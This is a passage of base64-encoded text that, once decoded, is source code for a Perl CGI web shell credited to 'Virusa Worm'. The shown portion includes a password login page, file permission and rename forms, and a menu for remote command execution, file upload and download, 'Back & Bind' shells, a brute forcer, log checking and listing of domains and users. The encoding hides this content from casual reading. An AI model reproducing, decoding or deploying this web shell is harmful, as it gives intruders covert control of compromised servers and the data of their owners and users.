iB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tWyAgJEVkaXRQZXJzaW9uIF0tLW88L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoJPHRkPg0KCQkkaW5mbw0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNGRjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCiRpZA0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8YnI+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOw0KVHlwaW5nVGV4dC5ydW5BbGwoKTsNCg0KPC9zY3JpcHQ+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVybEVuY29kZSgkKXsNCglteSAkc3RyID0gc2hpZnQ7DQoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsNCglyZXR1cm4gJHN0cjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLycvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48aW1nIHNyYz0naHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9hZ25lX3pwczVlNDJmY2Y1LnBuZyc+PGJyPg0KPGI+RW50ZXIgeW91ciBQYXNzd29yZCA8aW1nIHNyYz0naHR0cDovL2wueWltZy5jb20vdXMueWltZy5jb20vaS9tZXNnL2Vtb3RpY29uczcvMzkuZ2lmJyAvPjwvYj48YnI+DQo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jRkYwMDAwPkVkaXQgYnkgVmlydXNhIFdvcm0gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL